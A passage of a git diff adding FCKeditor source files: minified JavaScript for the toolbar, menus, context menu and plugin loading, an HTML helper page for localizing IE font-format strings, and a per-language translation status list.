'Superscript':B=new FCKToolbarButton('Superscript',FCKLang.Superscript,null,null,false,true,25);break;case 'OrderedList':B=new FCKToolbarButton('InsertOrderedList',FCKLang.NumberedListLbl,FCKLang.NumberedList,null,false,true,26);break;case 'UnorderedList':B=new FCKToolbarButton('InsertUnorderedList',FCKLang.BulletedListLbl,FCKLang.BulletedList,null,false,true,27);break;case 'Outdent':B=new FCKToolbarButton('Outdent',FCKLang.DecreaseIndent,null,null,false,true,28);break;case 'Indent':B=new FCKToolbarButton('Indent',FCKLang.IncreaseIndent,null,null,false,true,29);break;case 'Link':B=new FCKToolbarButton('Link',FCKLang.InsertLinkLbl,FCKLang.InsertLink,null,false,true,34);break;case 'Unlink':B=new FCKToolbarButton('Unlink',FCKLang.RemoveLink,null,null,false,true,35);break;case 'Anchor':B=new FCKToolbarButton('Anchor',FCKLang.Anchor,null,null,null,null,36);break;case 'Image':B=new FCKToolbarButton('Image',FCKLang.InsertImageLbl,FCKLang.InsertImage,null,false,true,37);break;case 'Flash':B=new FCKToolbarButton('Flash',FCKLang.InsertFlashLbl,FCKLang.InsertFlash,null,false,true,38);break;case 'Table':B=new FCKToolbarButton('Table',FCKLang.InsertTableLbl,FCKLang.InsertTable,null,false,true,39);break;case 'SpecialChar':B=new FCKToolbarButton('SpecialChar',FCKLang.InsertSpecialCharLbl,FCKLang.InsertSpecialChar,null,false,true,42);break;case 'Smiley':B=new FCKToolbarButton('Smiley',FCKLang.InsertSmileyLbl,FCKLang.InsertSmiley,null,false,true,41);break;case 'PageBreak':B=new FCKToolbarButton('PageBreak',FCKLang.PageBreakLbl,FCKLang.PageBreak,null,false,true,43);break;case 'Rule':B=new FCKToolbarButton('InsertHorizontalRule',FCKLang.InsertLineLbl,FCKLang.InsertLine,null,false,true,40);break;case 'JustifyLeft':B=new FCKToolbarButton('JustifyLeft',FCKLang.LeftJustify,null,null,false,true,30);break;case 'JustifyCenter':B=new FCKToolbarButton('JustifyCenter',FCKLang.CenterJustify,null,null,false,true,31);break;case 'JustifyRight':B=new FCKToolbarButton('JustifyRight',FCKLang.RightJustify,null,null,false,true,32);break;case 'JustifyFull':B=new FCKToolbarButton('JustifyFull',FCKLang.BlockJustify,null,null,false,true,33);break;case 'Style':B=new FCKToolbarStyleCombo();break;case 'FontName':B=new FCKToolbarFontsCombo();break;case 'FontSize':B=new FCKToolbarFontSizeCombo();break;case 'FontFormat':B=new FCKToolbarFontFormatCombo();break;case 'TextColor':B=new FCKToolbarPanelButton('TextColor',FCKLang.TextColor,null,null,45);break;case 'BGColor':B=new FCKToolbarPanelButton('BGColor',FCKLang.BGColor,null,null,46);break;case 'Find':B=new FCKToolbarButton('Find',FCKLang.Find,null,null,null,null,16);break;case 'Replace':B=new FCKToolbarButton('Replace',FCKLang.Replace,null,null,null,null,17);break;case 'Form':B=new FCKToolbarButton('Form',FCKLang.Form,null,null,null,null,48);break;case 'Checkbox':B=new FCKToolbarButton('Checkbox',FCKLang.Checkbox,null,null,null,null,49);break;case 'Radio':B=new FCKToolbarButton('Radio',FCKLang.RadioButton,null,null,null,null,50);break;case 'TextField':B=new FCKToolbarButton('TextField',FCKLang.TextField,null,null,null,null,51);break;case 'Textarea':B=new FCKToolbarButton('Textarea',FCKLang.Textarea,null,null,null,null,52);break;case 'HiddenField':B=new FCKToolbarButton('HiddenField',FCKLang.HiddenField,null,null,null,null,56);break;case 'Button':B=new FCKToolbarButton('Button',FCKLang.Button,null,null,null,null,54);break;case 'Select':B=new FCKToolbarButton('Select',FCKLang.SelectionField,null,null,null,null,53);break;case 'ImageButton':B=new FCKToolbarButton('ImageButton',FCKLang.ImageButton,null,null,null,null,55);break;default:alert(FCKLang.UnknownToolbarItem.replace(/%1/g,A));return null;};FCKToolbarItems.LoadedItems[A]=B;return B;}
+var FCKToolbar=function(){this.Items=[];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbar_Cleanup);};FCKToolbar.prototype.AddItem=function(A){return this.Items[this.Items.length]=A;};FCKToolbar.prototype.AddButton=function(A,B,C,D,E,F){if (typeof(D)=='number') D=[this.DefaultIconsStrip,this.DefaultIconSize,D];var G=new FCKToolbarButtonUI(A,B,C,D,E,F);G._FCKToolbar=this;G.OnClick=FCKToolbar_OnItemClick;return this.AddItem(G);};function FCKToolbar_OnItemClick(A){var B=A._FCKToolbar;if (B.OnItemClick) B.OnItemClick(B,A);};FCKToolbar.prototype.AddSeparator=function(){this.AddItem(new FCKToolbarSeparator());};FCKToolbar.prototype.Create=function(A){if (this.MainElement){if (this.MainElement.parentNode) this.MainElement.parentNode.removeChild(this.MainElement);this.MainElement=null;};var B=FCKTools.GetElementDocument(A);var e=this.MainElement=B.createElement('table');e.className='TB_Toolbar';e.style.styleFloat=e.style.cssFloat=(FCKLang.Dir=='ltr'?'left':'right');e.dir=FCKLang.Dir;e.cellPadding=0;e.cellSpacing=0;this.RowElement=e.insertRow(-1);var C;if (!this.HideStart){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_Start';};for (var i=0;i<this.Items.length;i++){this.Items[i].Create(this.RowElement.insertCell(-1));};if (!this.HideEnd){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_End';};A.appendChild(e);};function FCKToolbar_Cleanup(){this.MainElement=null;this.RowElement=null;};var FCKToolbarSeparator=function(){};FCKToolbarSeparator.prototype.Create=function(A){FCKTools.AppendElement(A,'div').className='TB_Separator';}
+var FCKToolbarBreak=function(){};FCKToolbarBreak.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A).createElement('div');B.className='TB_Break';B.style.clear=FCKLang.Dir=='rtl'?'left':'right';A.appendChild(B);}
+function FCKToolbarSet_Create(A){var B;var C=A||FCKConfig.ToolbarLocation;switch (C){case 'In':document.getElementById('xToolbarRow').style.display='';B=new FCKToolbarSet(document);break;default:FCK.Events.AttachEvent('OnBlur',FCK_OnBlur);FCK.Events.AttachEvent('OnFocus',FCK_OnFocus);var D;var E=C.match(/^Out:(.+)\((\w+)\)$/);if (E){D=eval('parent.'+E[1]).document.getElementById(E[2]);}else{E=C.match(/^Out:(\w+)$/);if (E) D=parent.document.getElementById(E[1]);};if (!D){alert('Invalid value for "ToolbarLocation"');return this._Init('In');};B=D.__FCKToolbarSet;if (B) break;var F=FCKTools.GetElementDocument(D).createElement('iframe');F.frameBorder=0;F.width='100%';F.height='10';D.appendChild(F);F.unselectable='on';var G=F.contentWindow.document;G.open();G.write('<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">'+document.getElementById('xToolbarSpace').innerHTML+'</body></html>');G.close();G.oncontextmenu=FCKTools.CancelEvent;FCKTools.AppendStyleSheet(G,FCKConfig.SkinPath+'fck_editor.css');B=D.__FCKToolbarSet=new FCKToolbarSet(G);B._IFrame=F;if (FCK.IECleanup) FCK.IECleanup.AddItem(D,FCKToolbarSet_Target_Cleanup);};B.CurrentInstance=FCK;FCK.AttachToOnSelectionChange(B.RefreshItemsState);return B;};function FCK_OnBlur(A){var B=A.ToolbarSet;if (B.CurrentInstance==A) B.Disable();};function FCK_OnFocus(A){var B=A.ToolbarSet;var C=A||FCK;B.CurrentInstance.FocusManager.RemoveWindow(B._IFrame.contentWindow);B.CurrentInstance=C;C.FocusManager.AddWindow(B._IFrame.contentWindow,true);B.Enable();};function FCKToolbarSet_Cleanup(){this._TargetElement=null;this._IFrame=null;};function FCKToolbarSet_Target_Cleanup(){this.__FCKToolbarSet=null;};var FCKToolbarSet=function(A){this._Document=A;this._TargetElement=A.getElementById('xToolbar');var B=A.getElementById('xExpandHandle');var C=A.getElementById('xCollapseHandle');B.title=FCKLang.ToolbarExpand;B.onclick=FCKToolbarSet_Expand_OnClick;C.title=FCKLang.ToolbarCollapse;C.onclick=FCKToolbarSet_Collapse_OnClick;if (!FCKConfig.ToolbarCanCollapse||FCKConfig.ToolbarStartExpanded) this.Expand();else this.Collapse();C.style.display=FCKConfig.ToolbarCanCollapse?'':'none';if (FCKConfig.ToolbarCanCollapse) C.style.display='';else A.getElementById('xTBLeftBorder').style.display='';this.Toolbars=[];this.IsLoaded=false;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarSet_Cleanup);};function FCKToolbarSet_Expand_OnClick(){FCK.ToolbarSet.Expand();};function FCKToolbarSet_Collapse_OnClick(){FCK.ToolbarSet.Collapse();};FCKToolbarSet.prototype.Expand=function(){this._ChangeVisibility(false);};FCKToolbarSet.prototype.Collapse=function(){this._ChangeVisibility(true);};FCKToolbarSet.prototype._ChangeVisibility=function(A){this._Document.getElementById('xCollapsed').style.display=A?'':'none';this._Document.getElementById('xExpanded').style.display=A?'none':'';if (FCKBrowserInfo.IsGecko){FCKTools.RunFunction(window.onresize);}};FCKToolbarSet.prototype.Load=function(A){this.Name=A;this.Items=[];this.ItemsWysiwygOnly=[];this.ItemsContextSensitive=[];this._TargetElement.innerHTML='';var B=FCKConfig.ToolbarSets[A];if (!B){alert(FCKLang.UnknownToolbarSet.replace(/%1/g,A));return;};this.Toolbars=[];for (var x=0;x<B.length;x++){var C=B[x];var D;if (typeof(C)=='string'){if (C=='/') D=new FCKToolbarBreak();}else{D=new FCKToolbar();for (var j=0;j<C.length;j++){var E=C[j];if (E=='-') D.AddSeparator();else{var F=FCKToolbarItems.GetItem(E);if (F){D.AddItem(F);this.Items.push(F);if (!F.SourceView) this.ItemsWysiwygOnly.push(F);if (F.ContextSensitive) this.ItemsContextSensitive.push(F);}}}};D.Create(this._TargetElement);this.Toolbars[this.Toolbars.length]=D;};FCKTools.DisableSelection(this._Document.getElementById('xCollapseHandle').parentNode);if (FCK.Status!=2) FCK.Events.AttachEvent('OnStatusChange',this.RefreshModeState);else this.RefreshModeState();this.IsLoaded=true;this.IsEnabled=true;FCKTools.RunFunction(this.OnLoad);};FCKToolbarSet.prototype.Enable=function(){if (this.IsEnabled) return;this.IsEnabled=true;var A=this.Items;for (var i=0;i<A.length;i++) A[i].RefreshState();};FCKToolbarSet.prototype.Disable=function(){if (!this.IsEnabled) return;this.IsEnabled=false;var A=this.Items;for (var i=0;i<A.length;i++) A[i].Disable();};FCKToolbarSet.prototype.RefreshModeState=function(A){if (FCK.Status!=2) return;var B=A?A.ToolbarSet:this;var C=B.ItemsWysiwygOnly;if (FCK.EditMode==0){for (var i=0;i<C.length;i++) C[i].Enable();B.RefreshItemsState(A);}else{B.RefreshItemsState(A);for (var j=0;j<C.length;j++) C[j].Disable();}};FCKToolbarSet.prototype.RefreshItemsState=function(A){var B=(A?A.ToolbarSet:this).ItemsContextSensitive;for (var i=0;i<B.length;i++) B[i].RefreshState();};
+var FCKDialog={};FCKDialog.OpenDialog=function(A,B,C,D,E,F,G,H){var I={};I.Title=B;I.Page=C;I.Editor=window;I.CustomValue=F;var J=FCKConfig.BasePath+'fckdialog.html';this.Show(I,A,J,D,E,G,H);};
+FCKDialog.Show=function(A,B,C,D,E,F,G){if (!F) F=window;var H='help:no;scroll:no;status:no;resizable:'+(G?'yes':'no')+';dialogWidth:'+D+'px;dialogHeight:'+E+'px';FCKFocusManager.Lock();var I='B';try{I=F.showModalDialog(C,A,H);}catch(e) {};if ('B'===I) alert(FCKLang.DialogBlocked);FCKFocusManager.Unlock();};
+var FCKMenuItem=function(A,B,C,D,E){this.Name=B;this.Label=C||B;this.IsDisabled=E;this.Icon=new FCKIcon(D);this.SubMenu=new FCKMenuBlockPanel();this.SubMenu.Parent=A;this.SubMenu.OnClick=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnClick,this);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuItem_Cleanup);};FCKMenuItem.prototype.AddItem=function(A,B,C,D){this.HasSubMenu=true;return this.SubMenu.AddItem(A,B,C,D);};FCKMenuItem.prototype.AddSeparator=function(){this.SubMenu.AddSeparator();};FCKMenuItem.prototype.Create=function(A){var B=this.HasSubMenu;var C=FCKTools.GetElementDocument(A);var r=this.MainElement=A.insertRow(-1);r.className=this.IsDisabled?'MN_Item_Disabled':'MN_Item';if (!this.IsDisabled){FCKTools.AddEventListenerEx(r,'mouseover',FCKMenuItem_OnMouseOver,[this]);FCKTools.AddEventListenerEx(r,'click',FCKMenuItem_OnClick,[this]);if (!B) FCKTools.AddEventListenerEx(r,'mouseout',FCKMenuItem_OnMouseOut,[this]);};var D=r.insertCell(-1);D.className='MN_Icon';D.appendChild(this.Icon.CreateIconElement(C));D=r.insertCell(-1);D.className='MN_Label';D.noWrap=true;D.appendChild(C.createTextNode(this.Label));D=r.insertCell(-1);if (B){D.className='MN_Arrow';var E=D.appendChild(C.createElement('IMG'));E.src=FCK_IMAGES_PATH+'arrow_'+FCKLang.Dir+'.gif';E.width=4;E.height=7;this.SubMenu.Create();this.SubMenu.Panel.OnHide=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnHide,this);}};FCKMenuItem.prototype.Activate=function(){this.MainElement.className='MN_Item_Over';if (this.HasSubMenu){this.SubMenu.Show(this.MainElement.offsetWidth+2,-2,this.MainElement);};FCKTools.RunFunction(this.OnActivate,this);};FCKMenuItem.prototype.Deactivate=function(){this.MainElement.className='MN_Item';if (this.HasSubMenu) this.SubMenu.Hide();};function FCKMenuItem_SubMenu_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuItem_SubMenu_OnHide(A){A.Deactivate();};function FCKMenuItem_OnClick(A,B){if (B.HasSubMenu) B.Activate();else{B.Deactivate();FCKTools.RunFunction(B.OnClick,B,[B]);}};function FCKMenuItem_OnMouseOver(A,B){B.Activate();};function FCKMenuItem_OnMouseOut(A,B){B.Deactivate();};function FCKMenuItem_Cleanup(){this.MainElement=null;}
+var FCKMenuBlock=function(){this._Items=[];};FCKMenuBlock.prototype.Count=function(){return this._Items.length;};FCKMenuBlock.prototype.AddItem=function(A,B,C,D){var E=new FCKMenuItem(this,A,B,C,D);E.OnClick=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnClick,this);E.OnActivate=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnActivate,this);this._Items.push(E);return E;};FCKMenuBlock.prototype.AddSeparator=function(){this._Items.push(new FCKMenuSeparator());};FCKMenuBlock.prototype.RemoveAllItems=function(){this._Items=[];var A=this._ItemsTable;if (A){while (A.rows.length>0) A.deleteRow(0);}};FCKMenuBlock.prototype.Create=function(A){if (!this._ItemsTable){if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuBlock_Cleanup);this._Window=FCKTools.GetElementWindow(A);var B=FCKTools.GetElementDocument(A);var C=A.appendChild(B.createElement('table'));C.cellPadding=0;C.cellSpacing=0;FCKTools.DisableSelection(C);var D=C.insertRow(-1).insertCell(-1);D.className='MN_Menu';var E=this._ItemsTable=D.appendChild(B.createElement('table'));E.cellPadding=0;E.cellSpacing=0;};for (var i=0;i<this._Items.length;i++) this._Items[i].Create(this._ItemsTable);};function FCKMenuBlock_Item_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuBlock_Item_OnActivate(A){var B=A._ActiveItem;if (B&&B!=this){if (!FCKBrowserInfo.IsIE&&B.HasSubMenu&&!this.HasSubMenu) A._Window.focus();B.Deactivate();};A._ActiveItem=this;};function FCKMenuBlock_Cleanup(){this._Window=null;this._ItemsTable=null;};var FCKMenuSeparator=function(){};FCKMenuSeparator.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var r=A.insertRow(-1);var C=r.insertCell(-1);C.className='MN_Separator MN_Icon';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';}
+var FCKMenuBlockPanel=function(){FCKMenuBlock.call(this);};FCKMenuBlockPanel.prototype=new FCKMenuBlock();FCKMenuBlockPanel.prototype.Create=function(){var A=this.Panel=(this.Parent&&this.Parent.Panel?this.Parent.Panel.CreateChildPanel():new FCKPanel());A.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');FCKMenuBlock.prototype.Create.call(this,A.MainNode);};FCKMenuBlockPanel.prototype.Show=function(x,y,A){if (!this.Panel.CheckIsOpened()) this.Panel.Show(x,y,A);};FCKMenuBlockPanel.prototype.Hide=function(){if (this.Panel.CheckIsOpened()) this.Panel.Hide();}
+var FCKContextMenu=function(A,B){var C=this._Panel=new FCKPanel(A,true);C.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');C.IsContextMenu=true;var D=this._MenuBlock=new FCKMenuBlock();D.Panel=C;D.OnClick=FCKTools.CreateEventListener(FCKContextMenu_MenuBlock_OnClick,this);this._Redraw=true;};FCKContextMenu.prototype.SetMouseClickWindow=function(A){if (!FCKBrowserInfo.IsIE){this._Document=A.document;this._Document.addEventListener('contextmenu',FCKContextMenu_Document_OnContextMenu,false);}};FCKContextMenu.prototype.AddItem=function(A,B,C,D){var E=this._MenuBlock.AddItem(A,B,C,D);this._Redraw=true;return E;};FCKContextMenu.prototype.AddSeparator=function(){this._MenuBlock.AddSeparator();this._Redraw=true;};FCKContextMenu.prototype.RemoveAllItems=function(){this._MenuBlock.RemoveAllItems();this._Redraw=true;};FCKContextMenu.prototype.AttachToElement=function(A){if (FCKBrowserInfo.IsIE) FCKTools.AddEventListenerEx(A,'contextmenu',FCKContextMenu_AttachedElement_OnContextMenu,this);else A._FCKContextMenu=this;};function FCKContextMenu_Document_OnContextMenu(e){var A=e.target;while (A){if (A._FCKContextMenu){FCKTools.CancelEvent(e);FCKContextMenu_AttachedElement_OnContextMenu(e,A._FCKContextMenu,A);};A=A.parentNode;}};function FCKContextMenu_AttachedElement_OnContextMenu(A,B,C){var D=C||this;if (B.OnBeforeOpen) B.OnBeforeOpen.call(B,D);if (B._MenuBlock.Count()==0) return false;if (B._Redraw){B._MenuBlock.Create(B._Panel.MainNode);B._Redraw=false;};B._Panel.Show(A.pageX||A.screenX,A.pageY||A.screenY,A.currentTarget||null);return false;};function FCKContextMenu_MenuBlock_OnClick(A,B){B._Panel.Hide();FCKTools.RunFunction(B.OnItemClick,B,A);}
+FCK.ContextMenu={};FCK.ContextMenu.Listeners=[];FCK.ContextMenu.RegisterListener=function(A){if (A) this.Listeners.push(A);};function FCK_ContextMenu_Init(){var A=FCK.ContextMenu._InnerContextMenu=new FCKContextMenu(FCKBrowserInfo.IsIE?window:window.parent,FCKLang.Dir);A.OnBeforeOpen=FCK_ContextMenu_OnBeforeOpen;A.OnItemClick=FCK_ContextMenu_OnItemClick;var B=FCK.ContextMenu;for (var i=0;i<FCKConfig.ContextMenu.length;i++) B.RegisterListener(FCK_ContextMenu_GetListener(FCKConfig.ContextMenu[i]));};function FCK_ContextMenu_GetListener(A){switch (A){case 'Generic':return {AddItems:function(menu,tag,tagName){menu.AddItem('Cut',FCKLang.Cut,7,FCKCommands.GetCommand('Cut').GetState()==-1);menu.AddItem('Copy',FCKLang.Copy,8,FCKCommands.GetCommand('Copy').GetState()==-1);menu.AddItem('Paste',FCKLang.Paste,9,FCKCommands.GetCommand('Paste').GetState()==-1);}};case 'Table':return {AddItems:function(menu,tag,tagName){var B=(tagName=='TABLE');var C=(!B&&FCKSelection.HasAncestorNode('TABLE'));if (C){menu.AddSeparator();var D=menu.AddItem('Cell',FCKLang.CellCM);D.AddItem('TableInsertCell',FCKLang.InsertCell,58);D.AddItem('TableDeleteCells',FCKLang.DeleteCells,59);D.AddItem('TableMergeCells',FCKLang.MergeCells,60);D.AddItem('TableSplitCell',FCKLang.SplitCell,61);D.AddSeparator();D.AddItem('TableCellProp',FCKLang.CellProperties,57);menu.AddSeparator();D=menu.AddItem('Row',FCKLang.RowCM);D.AddItem('TableInsertRow',FCKLang.InsertRow,62);D.AddItem('TableDeleteRows',FCKLang.DeleteRows,63);menu.AddSeparator();D=menu.AddItem('Column',FCKLang.ColumnCM);D.AddItem('TableInsertColumn',FCKLang.InsertColumn,64);D.AddItem('TableDeleteColumns',FCKLang.DeleteColumns,65);};if (B||C){menu.AddSeparator();menu.AddItem('TableDelete',FCKLang.TableDelete);menu.AddItem('TableProp',FCKLang.TableProperties,39);}}};case 'Link':return {AddItems:function(menu,tag,tagName){var E=(tagName=='A'||FCKSelection.HasAncestorNode('A'));if (E||FCK.GetNamedCommandState('Unlink')!=-1){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0&&F.href.length==0);if (G) return;menu.AddSeparator();if (E) menu.AddItem('Link',FCKLang.EditLink,34);menu.AddItem('Unlink',FCKLang.RemoveLink,35);}}};case 'Image':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&!tag.getAttribute('_fckfakelement')){menu.AddSeparator();menu.AddItem('Image',FCKLang.ImageProperties,37);}}};case 'Anchor':return {AddItems:function(menu,tag,tagName){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0);if (G||(tagName=='IMG'&&tag.getAttribute('_fckanchor'))){menu.AddSeparator();menu.AddItem('Anchor',FCKLang.AnchorProp,36);}}};case 'Flash':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&tag.getAttribute('_fckflash')){menu.AddSeparator();menu.AddItem('Flash',FCKLang.FlashProperties,38);}}};case 'Form':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('FORM')){menu.AddSeparator();menu.AddItem('Form',FCKLang.FormProp,48);}}};case 'Checkbox':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='checkbox'){menu.AddSeparator();menu.AddItem('Checkbox',FCKLang.CheckboxProp,49);}}};case 'Radio':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='radio'){menu.AddSeparator();menu.AddItem('Radio',FCKLang.RadioButtonProp,50);}}};case 'TextField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='text'||tag.type=='password')){menu.AddSeparator();menu.AddItem('TextField',FCKLang.TextFieldProp,51);}}};case 'HiddenField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='hidden'){menu.AddSeparator();menu.AddItem('HiddenField',FCKLang.HiddenFieldProp,56);}}};case 'ImageButton':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='image'){menu.AddSeparator();menu.AddItem('ImageButton',FCKLang.ImageButtonProp,55);}}};case 'Button':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='button'||tag.type=='submit'||tag.type=='reset')){menu.AddSeparator();menu.AddItem('Button',FCKLang.ButtonProp,54);}}};case 'Select':return {AddItems:function(menu,tag,tagName){if (tagName=='SELECT'){menu.AddSeparator();menu.AddItem('Select',FCKLang.SelectionFieldProp,53);}}};case 'Textarea':return {AddItems:function(menu,tag,tagName){if (tagName=='TEXTAREA'){menu.AddSeparator();menu.AddItem('Textarea',FCKLang.TextareaProp,52);}}};case 'BulletedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('UL')){menu.AddSeparator();menu.AddItem('BulletedList',FCKLang.BulletedListProp,27);}}};case 'NumberedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('OL')){menu.AddSeparator();menu.AddItem('NumberedList',FCKLang.NumberedListProp,26);}}};};return null;};function FCK_ContextMenu_OnBeforeOpen(){FCK.Events.FireEvent('OnSelectionChange');var A,sTagName;if ((A=FCKSelection.GetSelectedElement())) sTagName=A.tagName;var B=FCK.ContextMenu._InnerContextMenu;B.RemoveAllItems();var C=FCK.ContextMenu.Listeners;for (var i=0;i<C.length;i++) C[i].AddItems(B,A,sTagName);};function FCK_ContextMenu_OnItemClick(A){FCK.Focus();FCKCommands.GetCommand(A.Name).Execute();};
+var FCKPlugin=function(A,B,C){this.Name=A;this.BasePath=C?C:FCKConfig.PluginsPath;this.Path=this.BasePath+A+'/';if (!B||B.length==0) this.AvailableLangs=[];else this.AvailableLangs=B.split(',');};FCKPlugin.prototype.Load=function(){if (this.AvailableLangs.length>0){var A;if (this.AvailableLangs.IndexOf(FCKLanguageManager.ActiveLanguage.Code)>=0) A=FCKLanguageManager.ActiveLanguage.Code;else A=this.AvailableLangs[0];LoadScript(this.Path+'lang/'+A+'.js');};LoadScript(this.Path+'fckplugin.js');}
+var FCKPlugins=FCK.Plugins={};FCKPlugins.ItemsCount=0;FCKPlugins.Items={};FCKPlugins.Load=function(){var A=FCKPlugins.Items;for (var i=0;i<FCKConfig.Plugins.Items.length;i++){var B=FCKConfig.Plugins.Items[i];var C=A[B[0]]=new FCKPlugin(B[0],B[1],B[2]);FCKPlugins.ItemsCount++;};for (var s in A) A[s].Load();FCKPlugins.Load=null;}
diff --git a/fckeditor/editor/lang/_getfontformat.html b/fckeditor/editor/lang/_getfontformat.html
new file mode 100755 (executable)
index 0000000..0346395
--- /dev/null
@@ -0,0 +1,66 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title></title>
+               <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
+       </head>
+       <script language="javascript">
+
+window.onload = function()
+{
+       var oRange = document.selection.createRange() ;
+       
+       var sNormal ;
+       var sFormats = '' ;
+       for ( var i = 1 ; i <= 9 ; i++ )
+       {
+               oRange.moveToElementText( document.getElementById( 'x' + i ) ) ;
+               sFormats += oRange.queryCommandValue( 'FormatBlock' ) ;
+               if ( i == 1 )
+                       sNormal = sFormats ;
+               sFormats += ';' ;
+       }
+       
+       document.getElementById('xFontFormats').innerHTML = sFormats + sNormal + ' (DIV)' ;
+}
+       </script>
+       <body>
+               <table width="70%" align="center">
+                       <tr>
+                               <td>
+                                       <h3>FontFormats Localization</h3>
+                                       <p>
+                                               IE has some limits when handling the "Font Format". It actually uses localized 
+                                               strings to retrieve the current format value. This makes it very difficult to 
+                                               make a system that works on every single computer in the world.
+                                       </p>
+                                       <p>
+                                               With FCKeditor, this problem impacts in the "Format" toolbar command that 
+                                               doesn't reflects the format of the current cursor position.
+                                       </p>
+                                       <p>
+                                               There is only one way to make it work. We must localize FCKeditor using the 
+                                               strings used by IE. In this way, we will have the expected behavior at least 
+                                               when using FCKeditor in the same language as the browser. So, when localizing 
+                                               FCKeditor, go to a computer with IE in the target language, open this page and 
+                                               use the following string to the "FontFormats" value:
+                                       </p>
+                                       <div style="white-space: nowrap">
+                                               FontFormats : "<span id="xFontFormats" style="COLOR: #000099"></span>",
+                                       </div>
+                               </td>
+                       </tr>
+               </table>
+               <div style="DISPLAY: none">
+                       <p id="x1">&nbsp;</p>
+                       <pre id="x2">&nbsp;</pre>
+                       <address id="x3">&nbsp;</address>
+                       <h1 id="x4">&nbsp;</h1>
+                       <h2 id="x5">&nbsp;</h2>
+                       <h3 id="x6">&nbsp;</h3>
+                       <h4 id="x7">&nbsp;</h4>
+                       <h5 id="x8">&nbsp;</h5>
+                       <h6 id="x9">&nbsp;</h6>
+               </div>
+       </body>
+</html>
diff --git a/fckeditor/editor/lang/_translationstatus.txt b/fckeditor/editor/lang/_translationstatus.txt
new file mode 100755 (executable)
index 0000000..9f35819
--- /dev/null
@@ -0,0 +1,80 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: _translationstatus.txt
+ *     Translations Status.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+af.js      Found: 402   Missing: 0
+ar.js      Found: 402   Missing: 0
+bg.js      Found: 379   Missing: 23
+bn.js      Found: 387   Missing: 15
+bs.js      Found: 231   Missing: 171
+ca.js      Found: 402   Missing: 0
+cs.js      Found: 387   Missing: 15
+da.js      Found: 387   Missing: 15
+de.js      Found: 402   Missing: 0
+el.js      Found: 402   Missing: 0
+en-au.js   Found: 402   Missing: 0
+en-ca.js   Found: 402   Missing: 0
+en-uk.js   Found: 402   Missing: 0
+eo.js      Found: 351   Missing: 51
+es.js      Found: 387   Missing: 15
+et.js      Found: 387   Missing: 15
+eu.js      Found: 387   Missing: 15
+fa.js      Found: 402   Missing: 0
+fi.js      Found: 387   Missing: 15
+fo.js      Found: 402   Missing: 0
+fr.js      Found: 402   Missing: 0
+gl.js      Found: 387   Missing: 15
+he.js      Found: 402   Missing: 0
+hi.js      Found: 402   Missing: 0
+hr.js      Found: 402   Missing: 0
+hu.js      Found: 402   Missing: 0
+it.js      Found: 402   Missing: 0
+ja.js      Found: 402   Missing: 0
+km.js      Found: 376   Missing: 26
+ko.js      Found: 374   Missing: 28
+lt.js      Found: 382   Missing: 20
+lv.js      Found: 387   Missing: 15
+mn.js      Found: 231   Missing: 171
+ms.js      Found: 357   Missing: 45
+nb.js      Found: 402   Missing: 0
+nl.js      Found: 402   Missing: 0
+no.js      Found: 402   Missing: 0
+pl.js      Found: 387   Missing: 15
+pt-br.js   Found: 402   Missing: 0
+pt.js      Found: 387   Missing: 15
+ro.js      Found: 401   Missing: 1
+ru.js      Found: 402   Missing: 0
+sk.js      Found: 402   Missing: 0
+sl.js      Found: 379   Missing: 23
+sr-latn.js Found: 374   Missing: 28
